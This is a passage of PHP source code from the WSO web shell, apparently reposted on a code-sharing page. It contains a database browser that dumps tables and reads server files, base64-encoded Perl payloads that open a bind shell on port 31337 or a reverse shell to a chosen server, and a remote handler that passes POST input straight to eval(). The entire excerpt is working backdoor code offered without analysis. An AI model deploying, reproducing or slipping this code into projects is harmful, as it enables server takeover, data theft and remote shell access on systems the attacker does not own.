  1247. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1248. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1249. $db->selectdb($_POST['sql_base']);
  1250. switch($_POST['charset']) {
  1251. case "Windows-1251": $db->setCharset('cp1251'); break;
  1252. case "UTF-8": $db->setCharset('utf8'); break;
  1253. case "KOI8-R": $db->setCharset('koi8r'); break;
  1254. case "KOI8-U": $db->setCharset('koi8u'); break;
  1255. case "cp866": $db->setCharset('cp866'); break;
  1256. }
  1257. if(empty($_POST['file'])) {
  1258. ob_start("ob_gzhandler", 4096);
  1259. header("Content-Disposition: attachment; filename=dump.sql");
  1260. header("Content-Type: text/plain");
  1261. foreach($_POST['tbl'] as $v)
  1262. $db->dump($v);
  1263. exit;
  1264. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1265. foreach($_POST['tbl'] as $v)
  1266. $db->dump($v, $fp);
  1267. fclose($fp);
  1268. unset($_POST['p2']);
  1269. } else
  1270. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1271. }
  1272. wsoHeader();
  1273. echo "
  1274. <h1>Sql browser</h1><div class=content>
  1275. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1276. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1277. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1278. <td><select name='type'><option value='mysql' ";
  1279. if(@$_POST['type']=='mysql')echo 'selected';
  1280. echo ">MySql</option><option value='pgsql' ";
  1281. if(@$_POST['type']=='pgsql')echo 'selected';
  1282. echo ">PostgreSql</option></select></td>
  1283. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1284. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1285. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1286. $tmp = "<input type=text name=sql_base value=''>";
  1287. if(isset($_POST['sql_host'])){
  1288. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1289. switch($_POST['charset']) {
  1290. case "Windows-1251": $db->setCharset('cp1251'); break;
  1291. case "UTF-8": $db->setCharset('utf8'); break;
  1292. case "KOI8-R": $db->setCharset('koi8r'); break;
  1293. case "KOI8-U": $db->setCharset('koi8u'); break;
  1294. case "cp866": $db->setCharset('cp866'); break;
  1295. }
  1296. $db->listDbs();
  1297. echo "<select name=sql_base><option value=''></option>";
  1298. while($item = $db->fetch()) {
  1299. list($key, $value) = each($item);
  1300. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1301. }
  1302. echo '</select>';
  1303. }
  1304. else echo $tmp;
  1305. }else
  1306. echo $tmp;
  1307. echo "</td>
  1308. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1309. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1310. </tr>
  1311. </table>
  1312. <script>
  1313. s_db='".@addslashes($_POST['sql_base'])."';
  1314. function fs(f) {
  1315. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1316. if(f.p1) f.p1.value='';
  1317. if(f.p2) f.p2.value='';
  1318. if(f.p3) f.p3.value='';
  1319. }
  1320. }
  1321. function st(t,l) {
  1322. d.sf.p1.value = 'select';
  1323. d.sf.p2.value = t;
  1324. if(l && d.sf.p3) d.sf.p3.value = l;
  1325. d.sf.submit();
  1326. }
  1327. function is() {
  1328. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1329. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1330. }
  1331. </script>";
  1332. if(isset($db) && $db->link){
  1333. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1334. if(!empty($_POST['sql_base'])){
  1335. $db->selectdb($_POST['sql_base']);
  1336. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1337. $tbls_res = $db->listTables();
  1338. while($item = $db->fetch($tbls_res)) {
  1339. list($key, $value) = each($item);
  1340. if(!empty($_POST['sql_count']))
  1341. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1342. $value = htmlspecialchars($value);
  1343. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1344. }
  1345. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1346. if(@$_POST['p1'] == 'select') {
  1347. $_POST['p1'] = 'query';
  1348. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1349. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1350. $num = $db->fetch();
  1351. $pages = ceil($num['n'] / 30);
  1352. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1353. echo " of $pages";
  1354. if($_POST['p3'] > 1)
  1355. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
  1356. if($_POST['p3'] < $pages)
  1357. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
  1358. $_POST['p3']--;
  1359. if($_POST['type']=='pgsql')
  1360. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1361. else
  1362. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1363. echo "<br><br>";
  1364. }
  1365. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1366. $db->query(@$_POST['p2']);
  1367. if($db->res !== false) {
  1368. $title = false;
  1369. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1370. $line = 1;
  1371. while($item = $db->fetch()) {
  1372. if(!$title) {
  1373. echo '<tr>';
  1374. foreach($item as $key => $value)
  1375. echo '<th>'.$key.'</th>';
  1376. reset($item);
  1377. $title=true;
  1378. echo '</tr><tr>';
  1379. $line = 2;
  1380. }
  1381. echo '<tr class="l'.$line.'">';
  1382. $line = $line==1?2:1;
  1383. foreach($item as $key => $value) {
  1384. if($value == null)
  1385. echo '<td><i>null</i></td>';
  1386. else
  1387. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1388. }
  1389. echo '</tr>';
  1390. }
  1391. echo '</table>';
  1392. } else {
  1393. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1394. }
  1395. }
  1396. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1397. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1398. echo htmlspecialchars($_POST['p2']);
  1399. echo "</textarea><br/><input type=submit value='Execute'>";
  1400. echo "</td></tr>";
  1401. }
  1402. echo "</table></form><br/>";
  1403. if($_POST['type']=='mysql') {
  1404. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1405. if($db->fetch())
  1406. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1407. }
  1408. if(@$_POST['p1'] == 'loadfile') {
  1409. $file = $db->loadFile($_POST['p2']);
  1410. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1411. }
  1412. } else {
  1413. echo htmlspecialchars($db->error());
  1414. }
  1415. echo '</div>';
  1416. wsoFooter();
  1417. }
  1418. function actionNetwork() {
  1419. wsoHeader();
  1420. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1421. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1422. echo "<h1>Network tools</h1><div class=content>
  1423. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1424. <span>Bind port to /bin/sh [perl]</span><br/>
  1425. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1426. </form>
  1427. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1428. <span>Back-connect [perl]</span><br/>
  1429. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1430. </form><br>";
  1431. if(isset($_POST['p1'])) {
  1432. function cf($f,$t) {
  1433. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1434. if($w){
  1435. @fwrite($w,@base64_decode($t));
  1436. @fclose($w);
  1437. }
  1438. }
  1439. if($_POST['p1'] == 'bpp') {
  1440. cf("/tmp/bp.pl",$bind_port_p);
  1441. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1442. sleep(1);
  1443. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1444. unlink("/tmp/bp.pl");
  1445. }
  1446. if($_POST['p1'] == 'bcp') {
  1447. cf("/tmp/bc.pl",$back_connect_p);
  1448. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1449. sleep(1);
  1450. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1451. unlink("/tmp/bc.pl");
  1452. }
  1453. }
  1454. echo '</div>';
  1455. wsoFooter();
  1456. }
  1457. function actionRC() {
  1458. if(!@$_POST['p1']) {
  1459. $a = array(
  1460. "uname" => php_uname(),
  1461. "php_version" => phpversion(),
  1462. "wso_version" => WSO_VERSION,
  1463. "safemode" => @ini_get('safe_mode')
  1464. );
  1465. echo serialize($a);
  1466. } else {
  1467. eval($_POST['p1']);
  1468. }
  1469. }
  1470. if( empty($_POST['a']) )
  1471. if(isset($default_action) && function_exists('action' . $default_action))
  1472. $_POST['a'] = $default_action;
  1473. else
  1474. $_POST['a'] = 'SecInfo';
  1475. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1476. call_user_func('action' . $_POST['a']);
  1477. exit;

comments powered by Disqus